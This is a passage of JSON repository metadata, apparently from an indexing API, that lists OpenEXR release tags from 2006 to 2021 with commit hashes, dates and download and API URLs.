d0eaf289f54d4f86f45f4b6b68fac2d15f0e","kind":"commit","published_at":"2021-06-30T16:56:39.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.5","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.5/manifests","release_url":null},{"name":"v3.0.5-rc2","sha":"44d2d0eaf289f54d4f86f45f4b6b68fac2d15f0e","kind":"commit","published_at":"2021-06-30T16:56:39.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.5-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.5-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.5-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.5-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.5-rc2/manifests","release_url":null},{"name":"v3.0.5-rc1","sha":"eb64727d7f02a3eafc3bb71cdacc89022d5d24d1","kind":"commit","published_at":"2021-06-30T15:09:12.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.5-rc1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.5-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.5-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.5-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.5-rc1/manifests","release_url":null},{"name":"v2.5.7","sha":"8bc3741131db146ad08a5b83af9e6e48f0e94a03","kind":"commit","published_at":"2021-06-15T00:15:14.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.7","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.7/manifests","release_url":null},{"name":"v2.5.7-rc1","sha":"8bc3741131db146ad08a5b83af9e6e48f0e94a03","kind":"commit","published_at":"2021-06-15T00:15:14.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.7-rc1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.7-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.7-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.7-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.7-rc1/manifests","release_url":null},{"name":"v3.0.4","sha":"466d78644b1b44aad880d404e82acd6b5076b705","kind":"commit","published_at":"2021-06-01T21:48:46.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.4/manifests","release_url":null},{"name":"v3.0.4-rc1","sha":"466d78644b1b44aad880d404e82acd6b5076b705","kind":"commit","published_at":"2021-06-01T21:48:46.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.4-rc1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.4-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.4-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.4-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.4-rc1/manifests","release_url":null},{"name":"v3.0.3","sha":"c9756528b23ae4d0c8be7fd65022b77810db58b0","kind":"commit","published_at":"2021-05-19T01:08:56.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.3/manifests","release_url":null},{"name":"v3.0.2","sha":"dd48c0263953af4c41c65f54366761e5bf7cd965","kind":"commit","published_at":"2021-05-18T02:50:39.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.2/manifests","release_url":null},{"name":"v2.4.3","sha":"7bab6d44caf65ee3cabe31553f8e2968c8747be5","kind":"commit","published_at":"2021-05-17T02:53:08.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.4.3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.3/manifests","release_url":null},{"name":"v2.5.6","sha":"76e10fe36f46f7847c510dcc38ab34b5509ace84","kind":"commit","published_at":"2021-05-16T18:10:31.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.6","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.6/manifests","release_url":null},{"name":"v3.0.1","sha":"4a84390282584957ffaf1697c411f9ae7e420f2f","kind":"commit","published_at":"2021-04-01T18:25:21.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.1/manifests","release_url":null},{"name":"v3.0.1-beta","sha":"db752aafb7ce05218079418dbd4053cb7ffd53ab","kind":"commit","published_at":"2021-03-28T22:08:02.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.1-beta","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.1-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.1-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.1-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.1-beta/manifests","release_url":null},{"name":"v3.0.0-beta","sha":"87cca0be5b61e401810f435953cbb1571fe22233","kind":"commit","published_at":"2021-03-16T22:04:24.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.0.0-beta","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.0.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.0.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.0.0-beta/manifests","release_url":null},{"name":"v2.5.5","sha":"4212416433a230334cef0ac122cb8d722746035d","kind":"commit","published_at":"2021-02-12T16:56:19.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.5","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.5/manifests","release_url":null},{"name":"v2.5.4","sha":"1899a456cbafb213c4a53c35eb3203296f92e503","kind":"commit","published_at":"2020-12-30T23:09:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.4/manifests","release_url":null},{"name":"v2.5.3","sha":"c32f82c5f1833d959321fc5f615ca52836c7ba65","kind":"commit","published_at":"2020-08-12T23:12:07.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.3/manifests","release_url":null},{"name":"v2.4.2","sha":"5210008ca9222e6e3ad5238ae1f29cec56c66f76","kind":"commit","published_at":"2020-06-14T01:30:34.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.4.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.2/manifests","release_url":null},{"name":"v2.5.2","sha":"24a1bf50bc59a93e80b0fba8fb2450967baa4de7","kind":"commit","published_at":"2020-06-14T01:26:22.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.2/manifests","release_url":null},{"name":"v2.5.1","sha":"e823bf282882d02e8ad1c7f6ca867807e1fd6044","kind":"commit","published_at":"2020-05-11T15:53:42.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.1/manifests","release_url":null},{"name":"v2.5.0","sha":"ed64d5467dee9763f28baf300f7699e6288b9f5f","kind":"commit","published_at":"2020-05-07T01:01:36.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.0/manifests","release_url":null},{"name":"v2.2.2","sha":"3caf47dac47956750b9af4711862ef8acc569015","kind":"commit","published_at":"2020-04-30T17:45:37.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.2.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.2.2/manifests","release_url":null},{"name":"v2.4.1","sha":"0ca9b6e855d32a794874b1624581d68fcc3f87c0","kind":"commit","published_at":"2020-02-10T23:01:19.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.4.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.1/manifests","release_url":null},{"name":"v2.4.0","sha":"eae0e337c9f5117e78114fd05f7a415819df413a","kind":"commit","published_at":"2019-09-18T01:02:06.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.4.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.0/manifests","release_url":null},{"name":"v2.4.0-beta.1","sha":"a62895fe6d2d5a16226af10a9a97bd9cfe4d3ccf","kind":"commit","published_at":"2019-09-05T21:38:07.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.4.0-beta.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.4.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.4.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.4.0-beta.1/manifests","release_url":null},{"name":"v2.3.0","sha":"0ac2ea34c8f3134148a5df4052e40f155b76f6fb","kind":"commit","published_at":"2018-08-10T08:34:26.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.3.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.3.0/manifests","release_url":null},{"name":"v2.2.1","sha":"dcaf5fdb4d1244d8e60a58832cfe9c54734a2257","kind":"commit","published_at":"2017-11-17T23:31:37.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.2.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.2.1/manifests","release_url":null},{"name":"v2.2.0","sha":"e98d25b30138634be20d925d7fe6d109311b2a06","kind":"commit","published_at":"2014-08-10T04:21:45.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.2.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.2.0/manifests","release_url":null},{"name":"v2.1.0","sha":"ecf35bd9c5830fdabd94153f0621e0b99fbfd38b","kind":"tag","published_at":"2013-11-25T23:31:36.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.1.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.1.0/manifests","release_url":null},{"name":"v2.0.1","sha":"34f5447054c6d40cc85ed004f47f524d5c93fad1","kind":"tag","published_at":"2013-07-12T00:32:36.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.0.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.1/manifests","release_url":null},{"name":"v2.0.0.GM","sha":"5e17845256f962ed5397b20191e39e1aba9f8f45","kind":"tag","published_at":"2013-04-09T17:37:08.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.0.0.GM","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.0.0.GM","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.0.0.GM","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.0.GM","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.0.GM/manifests","release_url":null},{"name":"v2.0.0","sha":"301c13f7d9129e6e0d99e8f572de5fbc3d5bf8e3","kind":"tag","published_at":"2012-08-07T00:28:37.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.0.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.0/manifests","release_url":null},{"name":"v1.7.1","sha":"b64f8b3b11cb69f5760ed9664460f043d1024b68","kind":"tag","published_at":"2012-07-31T21:06:13.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v1.7.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v1.7.1/manifests","release_url":null},{"name":"v2.0.0.beta.2","sha":"5086106c6290e1919fd015754dcf889fed1dde40","kind":"tag","published_at":"2012-07-25T06:03:24.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.0.0.beta.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.0.0.beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.0.0.beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.0.beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.0.beta.2/manifests","release_url":null},{"name":"v2.0.0.beta.1","sha":"ef44365cf44a6a80c2b69cb7a4a7cb533f67d05e","kind":"tag","published_at":"2012-06-15T23:25:55.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.0.0.beta.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.0.0.beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.0.0.beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.0.beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.0.0.beta.1/manifests","release_url":null},{"name":"OPENEXR_1_7_0","sha":"a4833e405fc72c12f98980b3aa8eb5f0ec4ed468","kind":"commit","published_at":"2010-07-23T01:10:46.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_7_0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_7_0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_7_0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_7_0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_7_0/manifests","release_url":null},{"name":"ILMBASE_1_0_2","sha":"6382b17040020cbad4c313c539f33a8ad240057e","kind":"commit","published_at":"2010-07-23T01:05:28.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/ILMBASE_1_0_2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/ILMBASE_1_0_2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@ILMBASE_1_0_2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/ILMBASE_1_0_2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/ILMBASE_1_0_2/manifests","release_url":null},{"name":"OPENEXR_VIEWERS_1_0_2","sha":"611d9855386929aa336d2b13fa44605a5d6378c3","kind":"commit","published_at":"2010-07-23T00:51:21.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_VIEWERS_1_0_2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_VIEWERS_1_0_2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_VIEWERS_1_0_2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_VIEWERS_1_0_2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_VIEWERS_1_0_2/manifests","release_url":null},{"name":"start","sha":"5001ec50701844c44a22b70082ecc6e7e0f2b966","kind":"commit","published_at":"2006-12-14T00:22:24.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/start","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/start","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@start","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/start","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/start/manifests","release_url":null},{"name":"OPENEXR_1_4_0a","sha":"30748aba5d014f3840e7a62b1f34d7be32829f9a","kind":"commit","published_at":"2006-08-09T05:43:58.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/OPENEXR_1_4_0a","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/OPENEXR_1_4_0a","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@OPENEXR_1_4_0a","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/OPENEXR_1_4_0a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2